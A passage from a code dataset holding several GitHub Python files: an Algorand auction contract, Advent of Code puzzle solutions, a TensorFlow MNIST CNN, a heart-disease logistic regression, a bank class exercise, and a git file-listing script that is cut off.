BEAKER-ACUTION EXAMPLE)\n# @external(authorize = Authorize.only(governor))\n# def start_auction(self, payment: abi.PaymentTransaction, starting_price: abi.Uint64, duration: abi.Uint64):\n# payment = payment.get()\n# return Seq(\n# # Verify payment txn\n# Assert(payment.receiver() == Global.current_application_address()),\n# Assert(payment.amount() == Int(1000000)),\n## Assert(payment.amount() == Int(100_000)),\n# # Set global state\n# self.auction_end.set(Global.latest_timestamp() + duration.get()),\n# self.highest_bid.set(starting_price.get()),\n# self.highest_bidder.set(Bytes(\"\"))\n# )\n\n #NO TRANSACTION IMPLEMENTATION <<<--- SE SERVONO FONDI INZIALI ALL'APP, SI POTREBBE CHIAMARE FUND E LASCIARE QUESTA COSI'?\n @external(authorize = Authorize.only(governor))\n def start_auction(self, starting_price: abi.Uint64, duration: abi.Uint64):\n return Seq(\n # Set global state\n self.auction_end.set(Global.latest_timestamp() + duration.get()),\n self.highest_bid.set(starting_price.get()),\n self.highest_bidder.set(Bytes(\"\"))\n )\n\n\n ##############\n # Bidding\n ##############\n\n @external\n def bid(self, payment: abi.PaymentTransaction, previous_bidder: abi.Account):\n payment = payment.get()\n auction_end = self.auction_end.get()\n highest_bidder = self.highest_bidder.get()\n highest_bid = self.highest_bid.get()\n\n return Seq(\n Assert(Global.latest_timestamp() < auction_end),\n # Verify payment transaction\n Assert(payment.amount() > highest_bid),\n Assert(Txn.sender() == payment.sender()),\n # Return money to previous bidder\n #If(highest_bidder != Bytes(\"\"), Seq(self.pay(highest_bidder, highest_bid))),\n If(highest_bidder != Bytes(\"\"), Seq(Assert(highest_bidder == previous_bidder.address()), self.pay_bidder(highest_bidder, highest_bid))),\n # Set global state\n self.highest_bid.set(payment.amount()),\n self.highest_bidder.set(payment.sender())\n )\n\n\n ##############\n # End auction\n ##############\n\n #PREVIOUS IMPLEMENTATION (FROM BEAKER-ACUTION EXAMPLE)\n# @external\n# def end_auction(self):\n# auction_end = self.auction_end.get()\n# highest_bid = self.highest_bid.get()\n# owner = self.governor.get()\n# highest_bidder = self.highest_bidder.get()\n#\n# return Seq(\n# Assert(Global.latest_timestamp() > auction_end),\n# self.pay_owner(owner, highest_bid),\n# # Set global state\n# self.auction_end.set(Int(0)), #PERCHE' INIZIALIZZARE DI NUOVO? <<<---\n# self.governor.set(highest_bidder), #PERCHE' CAMBIARE DI VOLTA IN VOLTA IL GOVERNOR CHE ACQUISISCE DIRITTI RISTRETTI (governor = highest_bidder)\n# self.highest_bidder.set(Bytes(\"\")), #PERCHE' INIZIALIZZARE DI NUOVO? <<<---\n# )\n\n #OUR CURRENT IMPLEMENTATION\n @external\n def end_auction(self):\n auction_end = self.auction_end.get()\n highest_bid = self.highest_bid.get()\n owner = self.governor.get()\n\n return Seq(\n Assert(Global.latest_timestamp() > auction_end),\n self.pay_owner(owner, highest_bid)\n )\n\n# @close_out\n# def close_out(self):\n# return Approve()\n\n# @delete\n# def delete(self, app_addr: abi.Account):\n# auction_end = self.auction_end.get()\n# app_balance = client.account_info(app_addr)[\"amount\"]\n# \n# return Seq(\n# Assert(Global.latest_timestamp() > auction_end),\n# Assert(Int(app_balance) == Int(0)),\n## Assert(payment.amount() == Int(1000000))\n# Approve()\n# )\n\n\n\nif __name__ == \"__main__\":\n Auction().dump(\"artifacts\")\n\n# if os.path.exists(\"approval.teal\"):\n# os.remove(\"approval.teal\")\n\n# if os.path.exists(\"approval.teal\"):\n# os.remove(\"clear.teal\")\n\n# if os.path.exists(\"abi.json\"):\n# os.remove(\"abi.json\")\n\n# if os.path.exists(\"app_spec.json\"):\n# os.remove(\"app_spec.json\")\n\n# with open(\"approval.teal\", \"w\") as f:\n# f.write(app.approval_program)\n\n# with open(\"clear.teal\", \"w\") as f:\n# f.write(app.clear_program)\n\n# with open(\"abi.json\", \"w\") as f:\n# f.write(json.dumps(app.contract.dictify(), indent=4))\n\n# with open(\"app_spec.json\", \"w\") as f:\n# f.write(json.dumps(app.application_spec(), indent=4))\n","repo_name":"lollobene/algorand-beaker-auction","sub_path":"auction/prove/auction_old.py","file_name":"auction_old.py","file_ext":"py","file_size_in_byte":8571,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"9774801220","text":"moveCode = {\n \"X\" : 0,\n \"Y\" : 3,\n \"Z\" : 6\n}\n\nfile = open(\"puz1.txt\", \"r\")\n\ntotal_score = 0\n\nfor line in file:\n score1 = ((ord(line[0]) - ord('A') + 1) + (ord(line[2]) - ord('Y'))) % 3\n if score1 == 0:\n score1 = 3\n\n score2 = moveCode[line[2]]\n total_score += score1 + score2\n\nprint(total_score)","repo_name":"Aumkaar/AdventOfCode","sub_path":"advent22/day2/puz2.py","file_name":"puz2.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"28867380269","text":"import csv\r\nimport tensorflow as tf\r\nfrom tensorflow.examples.tutorials.mnist import input_data\r\nimport os\r\nos.environ['TF_CPP_MIN_LOG_LEVEL']='2'\r\n#定义参数\r\nlearning_rate_init=0.01\r\ntrain_epoches=1\r\nbatch_size=100\r\ndisplay_step=10\r\n\r\n#NetWork Parma\r\nn_input=784\r\nn_output=10\r\n\r\n#定义函数 初始化权重,偏置,卷积层(conv2d),激活函数(activation),池化层(pool),全链接成(FC)\r\n#定义权重\r\ndef WeightVariable(shape,name,stddev=0.1):\r\n #标准正太分布初始化\r\n initial=tf.random_normal(shape,stddev=stddev)\r\n return tf.Variable(initial,dtype=tf.float32,name=name)\r\n#初定义偏置函数\r\ndef BasisVariable(shape,name,sttdev=0.0001):\r\n initial=tf.random_normal(shape=shape,stddev=sttdev,dtype=tf.float32)\r\n return tf.Variable(initial,name=name,dtype=tf.float32)\r\n#定义卷积层\r\ndef Conv2d(x,w,b,stride=1,padding='SAME'):\r\n with tf.name_scope('wx_b'):\r\n y=tf.nn.conv2d(x,w,strides=[1,stride,stride,1],padding=padding)\r\n y=tf.nn.bias_add(y,b)\r\n return y\r\n#定义激活函数\r\ndef Activation(x,activiation=tf.nn.relu,name='relu'):\r\n with tf.name_scope(name):\r\n y=activiation(x)\r\n return y\r\n#定义池化层\r\ndef pool(x,pool=tf.nn.max_pool,k=2,stride=2):\r\n return pool(x, ksize=[1, k, k, 1], strides=[1, stride, stride, 1], padding='VALID')\r\n#二维数据转换成一维数据\r\ndef FeatureShape(x,reshapes):\r\n return tf.reshape(x,reshapes)\r\ndef FC_linear(x,w,b,activation=tf.nn.relu,act_name='relu'):\r\n with tf.name_scope('Wx_b'):\r\n y=tf.matmul(x,w)\r\n y=tf.add(y,b)\r\n with tf.name_scope(act_name):\r\n y=activation(y)\r\n return y\r\n\r\n#通用的评估函数,用来评估模型在给定的数��集上的损失和准确率\r\ndef EvaluatedModeOnDataset(sess,images,labels):\r\n n_samples=images.shape[0]\r\n per_batch_size=100\r\n loss=0;\r\n acc=0\r\n if(n_samples<=per_batch_size):\r\n batch_count=1\r\n loss,acc=sess.run([loss_out,accuary],\r\n feed_dict={X_orgin:images,Y_true:labels,learning_rates:learning_rate_init })\r\n else:\r\n batch_count=int(n_samples/per_batch_size)\r\n batch_start=0\r\n for idx in range(batch_count):\r\n batch_loss,batch_acc=sess.run([loss_out,accuary],\r\n feed_dict={X_orgin:images[batch_start:batch_start+per_batch_size,:],\r\n Y_true:labels[batch_start:batch_start+per_batch_size,:],\r\n learning_rates:learning_rate_init})\r\n batch_start+=per_batch_size\r\n loss+=batch_loss\r\n acc+=batch_acc\r\n return loss/batch_count,acc/batch_count\r\n\r\n#构建计算图\r\nwith tf.Graph().as_default():\r\n #输入数据 占位符\r\n with tf.name_scope(\"input\"):\r\n X_orgin=tf.placeholder(tf.float32,[None,n_input],name='X_orgin')\r\n Y_true=tf.placeholder(tf.float32,[None,n_output],name='Y_true')\r\n X_images=tf.reshape(X_orgin,[-1,28,28,1],name='X_images')\r\n with tf.name_scope('Inference'):\r\n #卷积层\r\n with tf.name_scope('Conv2d'):\r\n weight=WeightVariable([5,5,1,16],name='weight')\r\n basis=BasisVariable([16],name='basis')\r\n conv2d_out=Conv2d(X_images,weight,basis)\r\n #激活层\r\n with tf.name_scope('Activation'):\r\n activation_out=Activation(conv2d_out,activiation=tf.nn.relu,name='relu')\r\n #池化层\r\n with tf.name_scope('pool2d'):\r\n pool_out=pool(activation_out,pool=tf.nn.max_pool,k=2,stride=2)\r\n #全链接层\r\n with tf.name_scope('FC_linear'):\r\n w=WeightVariable([12*12*26,200],name='weight')\r\n b=BasisVariable([200],name='basis')\r\n fc_out=FC_linear(FeatureShape(pool_out,[12*12*26]),w,b,activation=tf.nn.relu,act_name='relue')\r\n #定义损失\r\n with tf.name_scope('Loss'):\r\n loss_out=tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(Y_true,fc_out))\r\n #采用tf提供的优化器训练模型,计算梯度,反向传播更新参数\r\n with tf.name_scope('Train'):\r\n learning_rates=tf.placeholder(tf.float32)\r\n optimier=tf.train.AdamOptimizer(learning_rate=learning_rates)\r\n train_out=optimier.minimize(loss_out)\r\n #评估\r\n with tf.name_scope('Evlation'):\r\n correct_de=tf.equal(tf.argmax(Y_true,1),tf.argmax(fc_out,1))\r\n accuary=tf.reduce_mean(tf.cast(correct_de,tf.float32))\r\n\r\n #初始化\r\n init=tf.global_variables_initializer()\r\n\r\n #把计算图训练写入文件,供tensorboard 查看\r\n write=tf.summary.FileWriter('logs/simpleConv2_k',graph=tf.get_default_graph())\r\n write.close()\r\n\r\n #加载数据\r\n mnist=input_data.read_data_sets('mnist_data',one_hot=True);\r\n # 将评估结果保存到文件\r\n result_list = list()\r\n # 写入参数配置\r\n result_list.append(\r\n ['learning_rate', learning_rates, 'tran_epochs', train_epoches, 'bactch_size', batch_size, 'display_step',\r\n display_step])\r\n result_list.append(\r\n ['train_step', 'train_loss', 'validation_loss', 'train_step', 'train_accuracy', 'validation_accuracy'])\r\n\r\n #开始计算\r\n with tf.Session() as sess:\r\n sess.run(init)\r\n batch_count=init(mnist.train.num_examples/batch_size)\r\n print('Per batch_size',batch_size)\r\n print('Train exmaple count',mnist.train.num_examples)\r\n print('Train total count',batch_count)\r\n train_steps = 0\r\n for epoche in range(train_epoches):\r\n for batch_indx in range(batch_count):\r\n batch_x,batch_y=mnist.train.next_batch(batch_size)\r\n #运行优化器节点\r\n sess.run(train_out,feed_dict={X_orgin:batch_x,Y_true:batch_y,learning_rates:learning_rate_init})\r\n train_steps += 1\r\n # 每训练display_step次,计算当前模型的损失和分类准确率\r\n if train_steps % display_step == 0:\r\n # 计算当前模型在目前(最近)见过的display_step 个batchsize的训练集上的损失和分类准确率\r\n start_indx = max(0, (batch_indx - display_step) * batch_size)\r\n end_indx = batch_indx * batch_size\r\n train_loss, train_acc = EvaluatedModeOnDataset(sess,\r\n mnist.train.images[start_indx:end_indx, :],\r\n mnist.train.labels[start_indx:end_indx, :])\r\n print('Training Step:' + str(train_steps) +\r\n ', Training Loss=' + '{:.6f}'.format(train_loss) +\r\n ', Training Accuracy=' + '{:.5f}'.format(train_acc))\r\n # 计算当前模型在验证集上的损失和分类准确率\r\n validation_loss, validation_acc = EvaluatedModeOnDataset(sess,\r\n mnist.validation.images,\r\n mnist.validation.labels)\r\n print('Training Step:' + str(train_steps) +\r\n ', Validation Loss=' + '{:.6f}'.format(validation_loss) +\r\n ', Validation Accuracy=' + '{:.5f}'.format(validation_acc))\r\n # 将评估结果保存到文件中\r\n result_list.append(\r\n [train_steps, train_loss, validation_loss, train_steps, train_acc, validation_acc])\r\n\r\n print('训练完毕')\r\n # 计算指定数量的测试集上的准确率\r\n test_sample_count = mnist.test.num_examples\r\n test_loss, test_acc = EvaluatedModeOnDataset(sess, mnist.test.images, mnist.test.labels)\r\n print('Test sample count:', test_sample_count)\r\n print('Test Loss', test_loss)\r\n print('Test Acc', test_acc)\r\n result_list.append(['teststep', 'loss', test_loss, 'accuray', test_acc])\r\n\r\n # 将评价结果保存到文件\r\n result_file = open('evluate_results.csv', 'w', newline='')\r\n csv_write = csv.writer(result_file, dialect='excel')\r\n for row in result_list:\r\n csv_write.writerow(row)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"mafushun/Tensorflow","sub_path":"SimpleConv2d_k.py","file_name":"SimpleConv2d_k.py","file_ext":"py","file_size_in_byte":8424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"33109367789","text":"from console_reader.console_reader import ConsoleReader\nfrom file_reader.file_reader import FileReader\nfrom file_writer.file_writer import FileWriter\nfrom algorithm1.algorithm1 import changeslow\nfrom algorithm2.algorithm2 import changegreedy\nfrom algorithm3.algorithm3 import changedp\n\nconsoleReader = ConsoleReader()\nfile_name = consoleReader.get_user_input_file_name()\n\nfileReader = FileReader(file_name + \".txt\")\ndata = fileReader.read_data()\nfileReader.close()\n\nfileWriter = FileWriter(file_name + \"change.txt\")\n\nfor i in data:\n V, A = i\n\n fileWriter.write_line(\"for problem:\")\n fileWriter.write_result((V, A))\n fileWriter.write_line(\"results are: \\n\")\n\n if A <= 30:\n result = changeslow(V, A)\n fileWriter.write(\"changeslow:\\n\")\n fileWriter.write_result(result)\n else:\n fileWriter.write_line(\"changeslow cannot run on problems of size %d in a timely manner\" % A)\n\n result = changegreedy(V, A)\n fileWriter.write(\"changegreedy:\\n\")\n fileWriter.write_result(result)\n\n result = changedp(V, A)\n fileWriter.write(\"changedp:\\n\")\n fileWriter.write_result(result)\n\n fileWriter.write_line(\"----------------------\")\n\nfileWriter.close()\n","repo_name":"subertd/CS325Group7","sub_path":"Project2/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"11870843914","text":"import sqlalchemy# Database library\nimport os\n# Project-local\nfrom utils import * # General utility functions\nimport sql_functions# Database interaction\nimport config # Settings and configuration\nfrom tables import *# Table definitions\n\n\n\ndef dump_posts(session,output_file_path=os.path.join(\"debug\",\"raw_posts_dump.txt\")):\n with open(output_file_path, \"a\") as f:\n posts_query = sqlalchemy.select([RawPosts]).\\\n limit(1000)\n posts_rows = session.execute(posts_query)\n for posts_row in posts_rows:\n f.write(repr(posts_row[\"raw_post_json\"])+\"\\n\")\n return\n\n\ndef main():\n session = sql_functions.connect_to_db()\n dump_posts(\n session,\n output_file_path=os.path.join(\"debug\",\"raw_posts_dump.txt\")\n )\n\nif __name__ == '__main__':\n main()\n","repo_name":"woodenphone/tumblrsagi","sub_path":"depricated/list_post_dicts_in_raw_posts.py","file_name":"list_post_dicts_in_raw_posts.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"18"} +{"seq_id":"8151870419","text":"from idlelib.tree import TreeNode\nfrom typing import List\n\n\nclass Solution:\n def flipMatchVoyage(self, root: TreeNode, voyage: List[int]) -> List[int]:\n index = 0\n flag = False\n result = []\n\n def pre_order(node):\n if node is None:\n return\n nonlocal index\n if node.val != voyage[index]:\n nonlocal flag\n flag = True\n index += 1\n if node.right is not None and node.left is not None and node.right.val == voyage[index]:\n nonlocal result\n result.append(node.val)\n pre_order(node.right)\n pre_order(node.left)\n else:\n pre_order(node.left)\n pre_order(node.right)\n\n pre_order(root)\n if flag:\n return [-1]\n else:\n return result\n","repo_name":"sandep121/competitive-programming","sub_path":"python/flip_binary_tree_to_match_preorder_traversal.py","file_name":"flip_binary_tree_to_match_preorder_traversal.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"32013824941","text":"# coding=utf-8\n\nimport os\nfrom oslo_config import cfg\n\nfrom xcat3.plugins.osimage import base\nfrom xcat3.plugins import utils as plugin_utils\n\nCONF = cfg.CONF\n\n\nclass UbuntuInterface(base.BaseOSImage):\n \"\"\"Interface for hardware control actions.\"\"\"\n TMPL_DIR = os.path.abspath(os.path.dirname(__file__))\n\n def _get_pkg_list(self):\n \"\"\"Return pkg list form pkg template\"\"\"\n with open(os.path.join(self.TMPL_DIR, 'compute.pkglist')) as f:\n pkgs = f.read()\n pkgs = pkgs.replace('\\n', ' ')\n return pkgs\n\n def build_os_boot_str(self, node, osimage):\n \"\"\"Generate command line string for specific os image\n\n :param node: the node to act on.\n :param osimage: osimage object.\n :returns command line string for os repo\n \"\"\"\n opts = []\n opts.append('url=http://%s/install/autoinst/'\n '%s' % (CONF.conductor.host_ip,node.name))\n opts.append('live-installer/net-image=http://%s/install/%s/install/'\n 'filesystem.squashfs' %(CONF.conductor.host_ip,\n plugin_utils.get_mirror(osimage)))\n opts.append('netcfg/choose_interface=%s' % node.mac)\n opts.append('mirror/http/hostname=%s' % CONF.conductor.host_ip)\n return ' '.join(opts)\n","repo_name":"chenglch/xcat3","sub_path":"xcat3/plugins/osimage/ubuntu/ubuntu.py","file_name":"ubuntu.py","file_ext":"py","file_size_in_byte":1323,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"42624543295","text":"import sys\nimport itertools\nimport more_itertools\n\ntest_input = \"3,4,3,1,2\"\n\nMAX_AGE = 8\n\n\ndef read_flock(filename=None):\n \"\"\"return test data if no file is given\"\"\"\n line = test_input\n if filename is not None:\n with open(filename) as file:\n line = file.readline().strip()\n\n flock = {}\n for i in range(MAX_AGE + 1):\n flock[i] = 0\n parsed = [int(fish) for fish in line.split(\",\")]\n for fish in parsed:\n flock[fish] = flock[fish] + 1\n return flock\n\n\ndef evolve_flock(flock, days=1):\n # print(f\"evolving.. {days} to go\")\n if days == 0:\n return flock\n elif days > 0:\n new_fish = flock[0]\n for i in range(1, MAX_AGE + 1):\n flock[i - 1] = flock[i]\n flock[6] += new_fish\n flock[MAX_AGE] = new_fish\n return evolve_flock(flock, days=days - 1)\n else:\n raise ValueError(f\"unsupported days={days}\")\n\n\ndef calc_flock_size(flock):\n return sum(flock.values())\n\n\nif __name__ == \"__main__\":\n print(\n f\"warning: this script only works for {sys.getrecursionlimit()} days or less (recursion limit!)\"\n )\n\n flock_size = calc_flock_size(evolve_flock(read_flock(\"advent06.txt\"), days=80))\n print(f\"part1: flock size on day 80 = {flock_size}\")\n\n flock_size = calc_flock_size(evolve_flock(read_flock(\"advent06.txt\"), days=256))\n print(f\"part2: flock size on day 256 = {flock_size}\")\n","repo_name":"markusstraub/advent_of_code_2021","sub_path":"06/advent06_hiperf.py","file_name":"advent06_hiperf.py","file_ext":"py","file_size_in_byte":1413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74329936679","text":"import pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import accuracy_score, classification_report, confusion_matrix\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.metrics import accuracy_score\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\ndef load_and_split_data(filename, features, target):\n try:\n data = pd.read_csv(filename)\n X = data[features]\n y = data[target]\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)\n return X_train, X_test, y_train, y_test, data\n except Exception as e:\n print(f\"Error loading and splitting data: {e}\")\n return None, None, None, None, None\n\ndef visualize_results(data, feature, target, conf_matrix):\n plt.figure(figsize=(8,6))\n sns.heatmap(conf_matrix, annot=True, fmt='g', cmap='Blues', \n xticklabels=['No Heart Disease', 'Heart Disease'], \n yticklabels=['No Heart Disease', 'Heart Disease'])\n plt.xlabel('Predicted labels')\n plt.ylabel('True labels')\n plt.title('Confusion Matrix')\n plt.show()\n\n plt.figure(figsize=(10,6))\n sns.scatterplot(data=data, x=feature, y=target, alpha=0.5)\n plt.title(f'Scatter Plot of {feature} vs. {target}')\n plt.ylabel('Heart Disease')\n plt.show()\n\n plt.figure(figsize=(10,6))\n sns.boxplot(data=data, x=target, y=feature, palette='coolwarm')\n plt.title(f'Box Plot of {feature} for People With and Without {target}')\n plt.xlabel('Heart Disease')\n plt.ylabel(feature)\n plt.xticks([0, 1], ['No Heart Disease', 'Heart Disease'])\n plt.show()\n\ndef make_predictions_for_older_age(model, scaler, data, features, age_threshold=40):\n \"\"\"\n Predict heart disease for individuals over a specified age using the provided model.\n \"\"\"\n older_data = data[data['age'] > age_threshold]\n X_older = older_data[features]\n X_older_scaled = scaler.transform(X_older)\n\n # Check for 'sex' column to differentiate between men = 1 and women = 0\n if 'sex' in data.columns:\n men_data = older_data[older_data['sex'] == 1]\n women_data = older_data[older_data['sex'] == 0]\n\n men_X = men_data[features]\n men_scaled_X = scaler.transform(men_X)\n men_predictions = model.predict(men_scaled_X)\n men_probabilities = model.predict_proba(men_scaled_X)[:, 1]\n\n women_X = women_data[features]\n women_scaled_X = scaler.transform(women_X)\n women_predictions = model.predict(women_scaled_X)\n women_probabilities = model.predict_proba(women_scaled_X)[:, 1]\n\n men_results = list(zip(men_data['age'], men_predictions, men_probabilities))\n women_results = list(zip(women_data['age'], women_predictions, women_probabilities))\n \n return men_results, women_results\n else:\n return [], []\n\n\n# Re-run the pipeline with the corrected file path\ndef main_pipeline_with_scaling():\n X_train, X_test, y_train, y_test, data = load_and_split_data('heart.csv', ['age'], 'target')\n scaler = StandardScaler()\n X_train_scaled = scaler.fit_transform(X_train)\n X_test_scaled = scaler.transform(X_test)\n log_reg = LogisticRegression()\n log_reg.fit(X_train_scaled, y_train)\n y_pred = log_reg.predict(X_test_scaled)\n accuracy = accuracy_score(y_test, y_pred)\n class_report = classification_report(y_test, y_pred)\n conf_matrix = confusion_matrix(y_test, y_pred)\n print(f\"Accuracy with scaling: {accuracy:.2f}\")\n print(\"\\nClassification Report with scaling:\\n\")\n print(class_report)\n visualize_results(data, 'age', 'target', conf_matrix)\n men_results, women_results = make_predictions_for_older_age(log_reg, scaler, data, ['age'])\n return X_train_scaled, X_test_scaled, men_results, women_results\n\nX_train_scaled_output, X_test_scaled_output, men_results_output, women_results_output = main_pipeline_with_scaling()\n\n# Display the first 5 rows of the scaled training and test data for the 'age' feature\nX_train_scaled_output[:10], X_test_scaled_output[:10]\n\n","repo_name":"justonslc/MachineLearning","sub_path":"venv/CaseStudy6.py","file_name":"CaseStudy6.py","file_ext":"py","file_size_in_byte":4124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70553234601","text":"# Create a Bank, an Account, and a Customer class.\n # All classes should be in a single file.\n # The bank class should be able to hold many account.\n # You should be able to add new accounts.\n # The Account class should have relevant details.\n # The Customer class Should also have relevant details.\n# Stick to the techniques we have covered so far.\n\n# Add the abillity for your __init__ method to handle different inputs (parameters).\n \nclass Customer:\n def __init__(self, first_name, last_name):\n self.first_name = first_name\n self.last_name = last_name\n self.accounts = []\n \n def add_account(self, account):\n self.accounts.append(account)\n\n\nclass Bank:\n def __init__(self, bank_name):\n self.bank_name = bank_name\n self.customers = []\n\n def add_customer(self, customer):\n self.customers.append(customer)\n\n\nclass Account(Bank, Customer):\n def __init__(self, first_name, last_name, bank_name, account_number, reg_number):\n Bank.__init__(self, bank_name)\n Customer.__init__(self, first_name, last_name)\n self.account_number = account_number\n self.reg_number = reg_number\n \nb1 = Bank('Dansk Bank') \n\nc1 = Customer('Christina', 'Bartholomæussen')\nc2 = Customer('Frederik', 'Petersen')\n\nb1.add_customer(c1)\nb1.add_customer(c2)\n\n\nc1.add_account(Account(c1.first_name, c1.last_name, b1.bank_name, '123456789', '1234'))\nc1.add_account(Account(c1.first_name, c1.last_name, b1.bank_name, '456789123', '4877'))\nc2.add_account(Account(c2.first_name, c2.last_name, b1.bank_name, '987654321', '1598'))\n\nfor c in b1.customers:\n print(f'{c.first_name} {c.last_name}')\n\n\nfor c in b1.customers:\n for a in c.accounts:\n print(f'{c.first_name} {c.last_name} {a.account_number} {a.reg_number}')\n","repo_name":"ChristinaBartholomaeussen/pythonSessions","sub_path":"Session6_OOP/Ex1_BankExercise.py","file_name":"Ex1_BankExercise.py","file_ext":"py","file_size_in_byte":1805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"1085945374","text":"#!/usr/bin/env python3\n\nimport argparse\nimport os\nimport re\nimport subprocess\nimport sys\nfrom collections import defaultdict\nfrom typing import Dict, List, Sequence, Union, overload\n\nfrom typing_extensions import Literal\n\n\ndef get_ftype(fpath: str, use_shebang: bool) -> str:\n ext = os.path.splitext(fpath)[1]\n if ext:\n return ext[1:]\n\n if use_shebang:\n # opening a file may throw an OSError\n with open(fpath, encoding=\"utf8\") as f:\n first_line = f.readline()\n if re.search(r\"^#!.*\\bpython\", first_line):\n return \"py\"\n if re.search(r\"^#!.*sh\", first_line):\n return \"sh\"\n if re.search(r\"^#!.*\\bperl\", first_line):\n return \"pl\"\n if re.search(r\"^#!.*\\bnode\", first_line):\n return \"js\"\n if re.search(r\"^#!.*\\bruby\", first_line):\n return \"rb\"\n if re.search(r\"^#!.*\\btail\", first_line):\n return \"\" # do not lint these scripts.\n if re.search(r\"^#!\", first_line):\n print(\n f'Error: Unknown shebang in file \"{path}\":\\n{first_line}',\n file=sys.stderr,\n )\n return \"\"\n\n return \"\"\n\n\n@overload\ndef list_files(\n group_by_ftype: Literal[False] = False,\n targets: Sequence[str] = [],\n ftypes: Sequence[str] = [],\n use_shebang: bool = True,\n modified_only: bool = False,\n exclude: Sequence[str] = [],\n extless_only: bool = False,\n) -> List[str]:\n ...\n\n\n@overload\ndef list_files(\n group_by_ftype: Literal[True],\n targets: Sequence[str] = [],\n ftypes: Sequence[str] = [],\n use_shebang: bool = True,\n modified_only: bool = False,\n exclude: Sequence[str] = [],\n extless_only: bool = False,\n) -> Dict[str, List[str]]:\n ...\n\n\ndef list_files(\n group_by_ftype: bool = False,\n targets: Sequence[str] = [],\n ftypes: Sequence[str] = [],\n use_shebang: bool = True,\n modified_only: bool = False,\n exclude: Sequence[str] = [],\n extless_only: bool = False,\n) -> Union[Dict[str, List[str]], List[str]]:\n \"\"\"\n List files tracked by git.\n\n Returns a list of files which are either in targets or in directories in targets.\n If targets is [], list of all tracked files in current directory is returned.\n\n Other arguments:\n ftypes - List of file types on which to filter the search.\n If ftypes is [], all files are included.\n use_shebang - Determine file type of extensionless files from their shebang.\n modified_only - Only include files which have been modified.\n exclude - List of files or directories to be excluded, relative to repository root.\n group_by_ftype - If True, returns a dict of lists keyed by file type.\n If False, returns a flat list of files.\n extless_only - Only include extensionless files in output.\n \"\"\"\n ftypes = [x.strip(\".\") for x in ftypes]\n ftypes_set = set(ftypes)\n\n # Really this is all bytes -- it's a file path -- but we get paths in\n # sys.argv as str, so that battle is already lost. Settle for hoping\n # everything is UTF-8.\n repository_root = (\n subprocess.check_output([\"git\", \"rev-parse\", \"--show-toplevel\"])\n .strip()\n .decode(\"utf-8\")\n )\n exclude_abspaths = [\n os.path.abspath(os.path.join(repository_root, fpath)) for fpath in exclude\n ]\n\n cmdline = [\n \"git\",\n \"ls-files\",\n \"-z\",\n *([\"-m\"] if modified_only else []),\n \"--\",\n *targets,\n ]\n\n files = [f.decode() for f in subprocess.check_output(cmdline).split(b\"\\0\")]\n assert files.pop() == \"\"\n # throw away non-files (like symlinks)\n files = [f for f in files if not os.path.islink(f) and os.path.isfile(f)]\n\n result_dict: Dict[str, List[str]] = defaultdict(list)\n result_list: List[str] = []\n\n for fpath in files:\n # this will take a long time if exclude is very large\n ext = os.path.splitext(fpath)[1]\n if extless_only and ext:\n continue\n absfpath = os.path.abspath(fpath)\n if any(\n absfpath == expath or absfpath.startswith(os.path.abspath(expath) + os.sep)\n for expath in exclude_abspaths\n ):\n continue\n\n if not ftypes and not group_by_ftype:\n result_list.append(fpath)\n continue\n\n try:\n filetype = get_ftype(fpath, use_shebang)\n except (OSError, UnicodeDecodeError) as e:\n etype = e.__class__.__name__\n print(\n f'Error: {etype} while determining type of file \"{fpath}\":',\n file=sys.stderr,\n )\n print(e, file=sys.stderr)\n filetype = \"\"\n if ftypes and filetype not in ftypes_set:\n continue\n\n if group_by_ftype:\n result_dict[filetype].append(fpath)\n else:\n result_list.append(fpath)\n\n if group_by_ftype:\n return result_dict\n return result_list\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\n description=\"List files tracked by git and optionally filter by type\"\n )\n parser.add_argument(\n \"targets\",\n nargs=\"*\",\n default=[],\n help=\"\"\"files and directories to include in the result.\n If this is not specified, the current directory is used\"\"\",\n )\n parser.add_argument(\n \"-m\",\n \"--modified\",\n action=\"store_true\",\n default=False,\n help=\"list only modified files\",\n )\n parser.add_argument(\n \"-f\",\n \"--ftypes\",\n nargs=\"+\",\n default=[],\n help=\"list of file types to filter on. \"\n \"All files are included if this option is absent\",\n )\n parser.add_argument(\n \"--ext-only\",\n dest=\"extonly\",\n action=\"store_true\",\n default=False,\n help=\"only use extension to determine file type\",\n )\n parser.add_argument(\n \"--exclude\",\n nargs=\"+\",\n default=[],\n help=\"list of files and directories to exclude from results, relative to repo root\",\n )\n parser.add_argument(\n \"--extless-only\",\n dest=\"extless_only\",\n action=\"store_true\",\n default=False,\n help=\"only include extensionless files in output\",\n )\n args = parser.parse_args()\n listing = list_files(\n targets=args.targets,\n ftypes=args.ftypes,\n use_shebang=not args.extonly,\n modified_only=args.modified,\n exclude=args.exclude,\n extless_only=args.extless_only,\n )\n for path in listing:\n 